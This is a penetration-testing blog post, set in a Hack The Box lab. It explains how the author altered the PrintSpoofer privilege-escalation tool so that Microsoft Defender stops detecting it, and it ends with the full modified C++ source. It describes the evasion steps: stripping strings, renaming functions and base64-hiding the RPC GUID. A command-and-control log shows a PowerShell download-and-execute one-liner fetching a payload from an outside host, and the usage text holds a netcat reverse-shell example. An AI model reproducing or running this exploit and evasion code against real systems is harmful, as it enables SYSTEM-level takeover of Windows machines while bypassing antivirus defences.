Evading AV the dumb way

The Dumbest (But Working) Way I Bypassed Microsoft Defender in 2026

magic

TL;DR – 25 Minutes of Maximum Laziness

Situation → While working on Offshore HTB Prolab → had SeImpersonatePrivilege on a compromised machine

Goal → run classic PrintSpoofer to get SYSTEM

Problem → Defender instantly kills every normal compile of PrintSpoofer

What I did (in rough order of stupidity):

  • removed almost all cleartext strings (including debug/usage/help)
  • base64-hidden the RPC GUID unicode string
  • swapped a few loop types (for ↔ while)
  • renamed some functions (probably just placebo)
  • no encryptor, no donut, no syscalls, no proper evasion framework

Result: after ~25 minutes of the laziest modifications possible → NT AUTHORITY\SYSTEM shell

Welcome to the “I just want to pwn this box before dinner” school of AV evasion.


Context & Objective

While working on Offshore Prolab assessment I got access to a machine using the machine account WORKGROUP\MGMT01$ which — surprise — had :

SeImpersonatePrivilege        Impersonate a client after authentication         Enabled

So classic local privilege escalation using itm4n’s PrintSpoofer was the obvious next move.

Problem:

Both the original release binary and a clean recompile with Visual Studio get instantly flagged & deleted by Microsoft Defender (I was using Havoc’s beacon):

=> shell C:\ProgramData\PrintSpoofer.exe -c 'powershell ...'
The system cannot execute the specified program.

and

=> shell C:\ProgramData\PrintSpoofer.exe -c 'powershell ...'
'PrintSpoofer.exe' is not recognized as an internal or external command...

The smart thing would probably have been to use Donut / in-memory execution / proper crypter etc.

But:

  1. I was feeling extremely stubborn that evening
  2. For whatever reason Donut didn’t want to install in my Exegol docker on MacOS M1
  3. I had 30 minutes

So I decided to try the dumbest possible approach: manual code mangling until Defender stops screaming.


The attempt

I opened and compiled the original project in Visual Studio, but Defender still wasn’t happy about the binary.

So I asked myself: what makes Defender mad actually?

Having recently followed CRTO I course, I remembered ThreatCheck by @rasta_mouse. So I ran my binary through it:

ThreatCheck.exe -f PrintSpoofer.exe
...
[!] Identified end of bad bytes at offset 0x1
00000000  4D  M

Huh… not very helpful.
I really dont’ know why, but it just keeps splitting the binary until it finds the very first byte of the PE header.

Unfortunately the project is unmaintained for 2+ years, no possibility to write issues, so we’re on our own.

Time for plan B: manual surgery with minimal effort.


Modifications – in order of application

  1. Killed almost all cleartext strings
    Especially debug messages, error messages and the help/usage banner.

    For example, original PrintUsage() → became something like:

    VOID PrintUsage()
    {
        wprintf(
            L"\n"
            "PS v%ws ()\n"
            "\n"
            "  P\n"
            "  )\n"
            "\n",
            VERSION
        );
    }
    

    (Yes, I could have just removed it completely, but remember? We’re working lazy dumb here)

  2. Renamed functions (probably placebo since symbols are stripped at compile, but took 90 seconds)

    Original New name
    CheckAndEnablePrivilege CheckAndEP
    GenerateRandomPipeName GenRandPN
    CreateSpoolNamedPipe CreateSpNP
    ConnectSpoolNamedPipe ConnectSNP
    TriggerNamedPipeConnection TrigNPC
    TriggerNamedPipeConnectionThread TrigNPCT
    GetSystem GetSTM
  3. Swapped some loop types (changes binary pattern)

    • whilefor in wmain
    // was
    while ((argc > 1) && (argv[1][0] == '-'))
    {
    	...
    	++argv;
    	--argc;
    
    // became
    for (; (argc > 1) && (argv[1][0] == '-'); ++argv, --argc)
    
    • forwhile in CheckAndEnablePrivilege
    // was:
    for (DWORD i = 0; i < pTokenPrivileges->PrivilegeCount; i++)
    
    // became:
    DWORD i = 0;
    while (i < pTokenPrivileges->PrivilegeCount)
    {
       ...
       i++;
    }
    
  4. Base64-hid the -probably flagged- RPC GUID

    This is arguably the most impactful single change.

    Original (very loud unicode string):

    RpcStringBindingComposeW((RPC_WSTR)L"12345678-1234-ABCD-EF00-0123456789AB", ...)
    

    New version has a variable containing the base64 encoded string, which is decoded then converted into a wide string at run time:

    const char* b64Guid = "MTIzNDU2NzgtMTIzNC1BQkNELUVGMDAtMDEyMzQ1Njc4OUFCCg==";
    // ... decode with CryptStringToBinaryA ...
    // ... convert to wide string with MultiByteToWideChar ...
    RpcStringBindingComposeW((RPC_WSTR)guidW, ...)
    

It Actually Worked

After that I gave it a shot: compiled, uploaded to target machine and…

=> upload /workspace/payloads/PrintSpoofer.exe 
[08/01/2026 17:09:16] [*] Uploaded file: PS.exe (27136)

=> shell C:\ProgramData\PrintSpoofer.exe -c "powershell -Exec Bypass -Command \"IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.12:8000/demon.ps1')\""
[08/01/2026 17:10:20] [+] Send Task to Agent [392 bytes]
[08/01/2026 17:10:24] [+] Received Output [92 bytes]:
[+] Fond priv: SeImpersonatePrivilege
[+] pipe listening...
[+] CreateProcessAsUser() OK

magic

BAM! Magic. Got a NT AUTHORITY\SYSTEM shell.


Final Thoughts

This is not a proper evasion technique.
This is a “I need this box before my food gets cold” technique.

And surprisingly often… that’s exactly what you need.

Good hunting ✌️

I leave here the final (at time of writing) code for reference — but obviously YMMV, as Defender updates frequently.


#include <iostream>
#include <Windows.h>
#include <strsafe.h>
#include <sddl.h>
#include <userenv.h>
#include <wincrypt.h>
#include <rpc.h>

#include "PrintSpoofer.h"
#include "ms-rprn_h.h"

#pragma comment(lib, "rpcrt4.lib")
#pragma comment(lib, "userenv.lib")
#pragma warning( disable : 28251 )
#pragma comment(lib, "Crypt32.lib")
#pragma comment(lib, "Rpcrt4.lib")

BOOL g_bInteractWithConsole = FALSE;
DWORD g_dwSessionId = 0;
LPWSTR g_pwszCommandLine = NULL;

int wmain(int argc, wchar_t** argv)
{
	for (; (argc > 1) && (argv[1][0] == '-'); ++argv, --argc)
	{
		switch (argv[1][1])
		{
		case 'h':
			PrintUsage();
			return 0;

		case 'i':
			g_bInteractWithConsole = TRUE;
			break;

		case 'd':
			++argv;
			--argc;
			if (argc > 1 && argv[1][0] != '-')
			{
				g_dwSessionId = wcstoul(argv[1], NULL, 0);
				if (!g_dwSessionId)
				{
					wprintf(L"[-] Invalid session id: %ws\n", argv[1]);
					PrintUsage();
					return -1;
				}
			}
			else
			{
				wprintf(L"[-] Missing value for option: -d\n");
				PrintUsage();
				return -1;
			}
			break;

		case 'c':
			++argv;
			--argc;
			if (argc > 1 && argv[1][0] != '-')
			{
				g_pwszCommandLine = argv[1];
			}
			else
			{
				wprintf(L"[-] Missing value for option: -c\n");
				PrintUsage();
				return -1;
			}
			break;

		default:
			wprintf(L"[-] Invalid argument: %ls\n", argv[1]);
			PrintUsage();
			return -1;
		}
	}

	if (g_bInteractWithConsole && g_dwSessionId)
	{
		wprintf(L"[-] More than one interaction mode was specified.\n");
		return -1;
	}

	if (!g_pwszCommandLine)
	{
		wprintf(L"[-] Please specify a command to execute\n");
		return -1;
	}

	return DoMain();
}


VOID PrintUsage()
{
	wprintf(
		L"\n"
		"PS v%ws ()\n"
		"\n"
		"  P\n"
		"  )\n"
		"\n",
		VERSION
	);
	wprintf(
		L"Arguments:\n"
		"  -c <CMD>    Run *CMD*\n"
		"  -i          inter\n"
		"  -d <ID>     Sp\n"
		"  -h          Tjhe :)\n"
		"\n"	
	);

	wprintf(
		L"Examples:\n"
		"  - Run PS as SYSTEM\n"
		"      PS.exe -i -c powershell.exe\n"
		"  - Spawn 1\n"
		"      PS.exe -d 1 -c cmd.exe\n"
		"  - Get Systl\n"
		"      OPS.exe -c \"c:\\Program\\nc.exe 1.1.1.1 333 -e cmd\"\n"
		"\n"
	);
}

DWORD DoMain()
{
	LPWSTR pwszPipeName = NULL;
	HANDLE hSpoolPipe = INVALID_HANDLE_VALUE;
	HANDLE hSpoolPipeEvent = INVALID_HANDLE_VALUE;
	HANDLE hSpoolTriggerThread = INVALID_HANDLE_VALUE;
	DWORD dwWait = 0;

	if (!CheckAndEP(NULL, SE_IMPERSONATE_NAME))
	{
		wprintf(L"[-] A privilege is missing: '%ws'\n", SE_IMPERSONATE_NAME);
		goto cleanup;
	}

	wprintf(L"[+] Fond priv: %ws\n", SE_IMPERSONATE_NAME);

	if (!GenRandPN(&pwszPipeName))
	{
		wprintf(L"[-] Failed pipe.\n");
		goto cleanup;
	}

	if (!(hSpoolPipe = CreateSpNP(pwszPipeName)))
	{
		wprintf(L"[-] Failed  pipe.\n");
		goto cleanup;
	}

	if (!(hSpoolPipeEvent = ConnectSNP(hSpoolPipe)))
	{
		wprintf(L"[-] Failed connect pipe.\n");
		goto cleanup;
	}

	wprintf(L"[+] pipe listening...\n");

	if (!(hSpoolTriggerThread = TrigNPC(pwszPipeName)))
	{
		wprintf(L"[-] Failed trig Sss.\n");
		goto cleanup;
	}

	dwWait = WaitForSingleObject(hSpoolPipeEvent, 5000);
	if (dwWait != WAIT_OBJECT_0)
	{
		wprintf(L"[-] Oper failed or to.\n");
		goto cleanup;
	}

	GetSTM(hSpoolPipe);

cleanup:
	if (hSpoolPipe)
		CloseHandle(hSpoolPipe);
	if (hSpoolPipeEvent)
		CloseHandle(hSpoolPipeEvent);
	if (hSpoolTriggerThread)
		CloseHandle(hSpoolTriggerThread);

	return 0;
}

BOOL CheckAndEP(HANDLE hTokenToCheck, LPCWSTR pwszPrivilegeToCheck)
{
	BOOL bResult = FALSE;
	HANDLE hToken = INVALID_HANDLE_VALUE;

	DWORD dwTokenPrivilegesSize = 0;
	PTOKEN_PRIVILEGES pTokenPrivileges = NULL;

	LPWSTR pwszPrivilegeName = NULL;

	if (hTokenToCheck)
	{
		// If a token handle was supplied, check this token
		hToken = hTokenToCheck;
	}
	else
	{
		// If a token handle wasn't supplied, check the token of the current process
		if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken))
		{
			wprintf(L"OpenProcessToken() failed. : %d\n", GetLastError());
			goto cleanup;
		}
	}

	if (!GetTokenInformation(hToken, TokenPrivileges, NULL, dwTokenPrivilegesSize, &dwTokenPrivilegesSize))
	{
		if (GetLastError() != ERROR_INSUFFICIENT_BUFFER)
		{
			wprintf(L"GetTokenInformation() failed. : %d\n", GetLastError());
			goto cleanup;
		}
	}

	pTokenPrivileges = (PTOKEN_PRIVILEGES)malloc(dwTokenPrivilegesSize);
	if (!pTokenPrivileges)
		goto cleanup;

	if (!GetTokenInformation(hToken, TokenPrivileges, pTokenPrivileges, dwTokenPrivilegesSize, &dwTokenPrivilegesSize))
	{
		wprintf(L"GetTokenInformation() failed. : %d\n", GetLastError());
		goto cleanup;
	}

	// Replace for-loop with while-loop
	DWORD i;
	i = 0;
	while (i < pTokenPrivileges->PrivilegeCount)
	{
		LUID_AND_ATTRIBUTES laa = pTokenPrivileges->Privileges[i];
		DWORD dwPrivilegeNameLength = 0;

		if (!LookupPrivilegeName(NULL, &(laa.Luid), NULL, &dwPrivilegeNameLength))
		{
			if (GetLastError() != ERROR_INSUFFICIENT_BUFFER)
			{
				wprintf(L"LookupPrivilegeName() failed. : %d\n", GetLastError());
				goto cleanup;
			}
		}

		dwPrivilegeNameLength++; // For null terminator
		pwszPrivilegeName = (LPWSTR)malloc(dwPrivilegeNameLength * sizeof(WCHAR));
		if (!pwszPrivilegeName)
			goto cleanup;

		if (!LookupPrivilegeName(NULL, &(laa.Luid), pwszPrivilegeName, &dwPrivilegeNameLength))
		{
			wprintf(L"() failed. : %d\n", GetLastError());
			goto cleanup;
		}

		if (!_wcsicmp(pwszPrivilegeName, pwszPrivilegeToCheck))
		{
			TOKEN_PRIVILEGES tp = { 0 };

			tp.PrivilegeCount = 1;
			tp.Privileges[0].Luid = laa.Luid;
			tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

			if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
			{
				wprintf(L"() failed. : %d\n", GetLastError());
				goto cleanup;
			}

			bResult = TRUE;
		}

		free(pwszPrivilegeName);
		pwszPrivilegeName = NULL;

		if (bResult)
			break;

		i++;
	}

cleanup:
	if (hToken && hToken != hTokenToCheck)
		CloseHandle(hToken);
	if (pTokenPrivileges)
		free(pTokenPrivileges);

	return bResult;
}


BOOL GenRandPN(LPWSTR *ppwszPipeName)
{
	UUID uuid = { 0 };

	if (UuidCreate(&uuid) != RPC_S_OK)
		return FALSE;

	if (UuidToString(&uuid, (RPC_WSTR*)&(*ppwszPipeName)) != RPC_S_OK)
		return FALSE;

	if (!*ppwszPipeName)
		return FALSE;

	return TRUE;
}

HANDLE CreateSpNP(LPWSTR pwszPipeName)
{
	HANDLE hPipe = NULL;
	LPWSTR pwszPipeFullname = NULL;
	SECURITY_DESCRIPTOR sd = { 0 };
	SECURITY_ATTRIBUTES sa = { 0 };

	pwszPipeFullname = (LPWSTR)malloc(MAX_PATH * sizeof(WCHAR));
	if (!pwszPipeFullname)
		return NULL;

	StringCchPrintf(pwszPipeFullname, MAX_PATH, L"\\\\.\\pipe\\%ws\\pipe\\spoolss", pwszPipeName);

	if (!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION))
	{
		wprintf(L"() failed. : %d\n", GetLastError());
		free(pwszPipeFullname);
		return NULL;
	}

	if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"D:(A;OICI;GA;;;WD)", SDDL_REVISION_1, &((&sa)->lpSecurityDescriptor), NULL))
	{
		wprintf(L"() failed. : %d\n", GetLastError());
		free(pwszPipeFullname);
		return NULL;
	}

	// The FILE_FLAG_OVERLAPPED flag is what allows us to create an async pipe.
	hPipe = CreateNamedPipe(pwszPipeFullname, PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 2048, 2048, 0, &sa);
	if (hPipe == INVALID_HANDLE_VALUE)
	{
		wprintf(L"CreateNamedPipe() failed. Error: %d\n", GetLastError());
		free(pwszPipeFullname);
		return NULL;
	}

	free(pwszPipeFullname);

	return hPipe;
}

HANDLE ConnectSNP(HANDLE hPipe)
{
	HANDLE hPipeEvent = INVALID_HANDLE_VALUE;
	OVERLAPPED ol = { 0 };

	// Create a non-signaled event for the OVERLLAPED structure
	hPipeEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
	if (!hPipeEvent)
	{
		wprintf(L"CreateEvent() failed. Error: %d\n", GetLastError());
		return NULL;
	}

	ZeroMemory(&ol, sizeof(OVERLAPPED));
	ol.hEvent = hPipeEvent;

	// Connect the pipe asynchronously
	if (!ConnectNamedPipe(hPipe, &ol))
	{
		if (GetLastError() != ERROR_IO_PENDING)
		{
			wprintf(L"ConnectNamedPipe() failed. Error: %d\n", GetLastError());
			return NULL;
		}
	}

	return hPipeEvent;
}

HANDLE TrigNPC(LPWSTR pwszPipeName)
{
	HANDLE hThread = NULL;
	DWORD dwThreadId = 0;

	hThread = CreateThread(NULL, 0, TrigNPCT, pwszPipeName, 0, &dwThreadId);
	if (!hThread)
		wprintf(L"CreateThread() failed. Error: %d\n", GetLastError());

	return hThread;
}

DWORD WINAPI TrigNPCT(LPVOID lpParam)
{
	HRESULT hr = NULL;
	PRINTER_HANDLE hPrinter = NULL;
	DEVMODE_CONTAINER devmodeContainer = { 0 };

	LPWSTR pwszComputerName = NULL;
	DWORD dwComputerNameLen = MAX_COMPUTERNAME_LENGTH + 1;

	LPWSTR pwszTargetServer = NULL;
	LPWSTR pwszCaptureServer = NULL;

	LPWSTR pwszPipeName = (LPWSTR)lpParam;

	pwszComputerName = (LPWSTR)malloc(dwComputerNameLen * sizeof(WCHAR));
	if (!pwszComputerName)
		goto cleanup;

	if (!GetComputerName(pwszComputerName, &dwComputerNameLen))
		goto cleanup;

	pwszTargetServer = (LPWSTR)malloc(MAX_PATH * sizeof(WCHAR));
	if (!pwszTargetServer)
		goto cleanup;

	pwszCaptureServer = (LPWSTR)malloc(MAX_PATH * sizeof(WCHAR));
	if (!pwszCaptureServer)
		goto cleanup;

	StringCchPrintf(pwszTargetServer, MAX_PATH, L"\\\\%ws", pwszComputerName);
	StringCchPrintf(pwszCaptureServer, MAX_PATH, L"\\\\%ws/pipe/%ws", pwszComputerName, pwszPipeName);

	RpcTryExcept
	{
		if (RpcOpenPrinter(pwszTargetServer, &hPrinter, NULL, &devmodeContainer, 0) == RPC_S_OK)
		{
			RpcRemoteFindFirstPrinterChangeNotificationEx(hPrinter, PRINTER_CHANGE_ADD_JOB, 0, pwszCaptureServer, 0, NULL);
			RpcClosePrinter(&hPrinter);
		}
	}
	RpcExcept(EXCEPTION_EXECUTE_HANDLER);
	{
		// Expect RPC_S_SERVER_UNAVAILABLE
	}
	RpcEndExcept;

cleanup:
	if (pwszComputerName)
		free(pwszComputerName);
	if (pwszTargetServer)
		free(pwszTargetServer);
	if (pwszCaptureServer)
		free(pwszCaptureServer);
	if (hPrinter)
		RpcClosePrinter(&hPrinter);

	return 0;
}

BOOL GetSTM(HANDLE hPipe)
{
	BOOL bResult = FALSE;
	HANDLE hSystemToken = INVALID_HANDLE_VALUE;
	HANDLE hSystemTokenDup = INVALID_HANDLE_VALUE;

	DWORD dwCreationFlags = 0;
	LPWSTR pwszCurrentDirectory = NULL;
	LPVOID lpEnvironment = NULL;
	PROCESS_INFORMATION pi = { 0 };
	STARTUPINFO si = { 0 };

	if (!ImpersonateNamedPipeClient(hPipe)) 
	{
		wprintf(L"ImpersonateNamedPipeClient(). Error: %d\n", GetLastError());
		goto cleanup;
	}

	if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hSystemToken))
	{
		wprintf(L"OpenThreadToken(). Error: %d\n", GetLastError());
		goto cleanup;
	}

	if (!DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hSystemTokenDup))
	{
		wprintf(L"DuplicateTokenEx() failed. Error: %d\n", GetLastError());
		goto cleanup;
	}

	if (g_dwSessionId)
	{
		if (!SetTokenInformation(hSystemTokenDup, TokenSessionId, &g_dwSessionId, sizeof(DWORD)))
		{
			wprintf(L"SetTokenInformation() failed. Error: %d\n", GetLastError());
			goto cleanup;
		}
	}
	
	dwCreationFlags = CREATE_UNICODE_ENVIRONMENT;
	dwCreationFlags |= g_bInteractWithConsole ? 0 : CREATE_NEW_CONSOLE;

	if (!(pwszCurrentDirectory = (LPWSTR)malloc(MAX_PATH * sizeof(WCHAR))))
		goto cleanup;

	if (!GetSystemDirectory(pwszCurrentDirectory, MAX_PATH))
	{
		wprintf(L"GetSTMDirectory() failed. Error: %d\n", GetLastError());
		goto cleanup;
	}

	if (!CreateEnvironmentBlock(&lpEnvironment, hSystemTokenDup, FALSE))
	{
		wprintf(L"CreateEnvironmentBlock() failed. Error: %d\n", GetLastError());
		goto cleanup;
	}

	ZeroMemory(&si, sizeof(STARTUPINFO));
	si.cb = sizeof(STARTUPINFO);
	si.lpDesktop = const_cast<wchar_t*>(L"WinSta0\\Default");

	if (!CreateProcessAsUser(hSystemTokenDup, NULL, g_pwszCommandLine, NULL, NULL, g_bInteractWithConsole, dwCreationFlags, lpEnvironment, pwszCurrentDirectory, &si, &pi))
	{
		if (GetLastError() == ERROR_PRIVILEGE_NOT_HELD)
		{
			wprintf(L"[!] CreateProcessAsUser() failed because of a missing privilege, retrying with CreateProcessWithTokenW().\n");

			RevertToSelf();

			if (!g_bInteractWithConsole)
			{
				if (!CreateProcessWithTokenW(hSystemTokenDup, LOGON_WITH_PROFILE, NULL, g_pwszCommandLine, dwCreationFlags, lpEnvironment, pwszCurrentDirectory, &si, &pi))
				{
					wprintf(L"CreateProcessWithTokenW() failed. Error: %d\n", GetLastError());
					goto cleanup;
				}
				else
				{
					wprintf(L"[+] CreateProcessWithTokenW() OK\n");
				}
			}
			else
			{
				wprintf(L"[!] CreateProcessWithTokenW() isn't compatible with option -i\n");
				goto cleanup;
			}
		}
		else
		{
			wprintf(L"CreateProcessAsUser() failed. Error: %d\n", GetLastError());
			goto cleanup;
		}
	}
	else
	{
		wprintf(L"[+] CreateProcessAsUser() OK\n");
	}

	if (g_bInteractWithConsole)
	{
		fflush(stdout);
		WaitForSingleObject(pi.hProcess, INFINITE);
	}

	bResult = TRUE;

cleanup:
	if (hSystemToken)
		CloseHandle(hSystemToken);
	if (hSystemTokenDup)
		CloseHandle(hSystemTokenDup);
	if (pwszCurrentDirectory)
		free(pwszCurrentDirectory);
	if (lpEnvironment)
		DestroyEnvironmentBlock(lpEnvironment);
	if (pi.hProcess)
		CloseHandle(pi.hProcess);
	if (pi.hThread)
		CloseHandle(pi.hThread);

	return bResult;
}

#include <windows.h>
#include <wincrypt.h>
#include <rpc.h>

#pragma comment(lib, "Crypt32.lib")
#pragma comment(lib, "Rpcrt4.lib")

handle_t __RPC_USER STRING_HANDLE_bind(STRING_HANDLE lpStr)
{
	RPC_STATUS RpcStatus;
	RPC_WSTR StringBinding;
	handle_t BindingHandle;

	/* Base64-encoded form of:
	   "12345678-1234-ABCD-EF00-0123456789AB"
	*/
	const char* b64Guid =
		"MTIzNDU2NzgtMTIzNC1BQkNELUVGMDAtMDEyMzQ1Njc4OUFCCg==";

	BYTE decoded[64] = { 0 };
	DWORD decodedLen = sizeof(decoded);

	/* Decode Base64 */
	if (!CryptStringToBinaryA(
		b64Guid,
		0,
		CRYPT_STRING_BASE64,
		decoded,
		&decodedLen,
		NULL,
		NULL))
	{
		return NULL;
	}

	/* Remove trailing newline if present */
	if (decodedLen > 0 && decoded[decodedLen - 1] == '\n') {
		decoded[decodedLen - 1] = '\0';
	}
	else {
		decoded[decodedLen] = '\0';
	}

	/* Convert to wide string */
	WCHAR guidW[64];
	MultiByteToWideChar(CP_ACP, 0, (LPCSTR)decoded, -1, guidW, 64);

	/* Cast WCHAR* to RPC_WSTR */
	if (RpcStringBindingComposeW(
		(RPC_WSTR)guidW,
		(RPC_WSTR)L"ncacn_np",
		(RPC_WSTR)lpStr,
		(RPC_WSTR)L"\\pipe\\spoolss",
		NULL,
		&StringBinding) != RPC_S_OK)
	{
		return NULL;
	}

	RpcStatus = RpcBindingFromStringBindingW(StringBinding, &BindingHandle);
	RpcStringFreeW(&StringBinding);

	if (RpcStatus != RPC_S_OK)
		return NULL;

	return BindingHandle;
}


void __RPC_USER STRING_HANDLE_unbind(STRING_HANDLE lpStr, handle_t BindingHandle)
{
	RpcBindingFree(&BindingHandle);
}

void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes)
{
	return((void __RPC_FAR*) malloc(cBytes));
}

void __RPC_USER midl_user_free(void __RPC_FAR* p)
{
	free(p);
}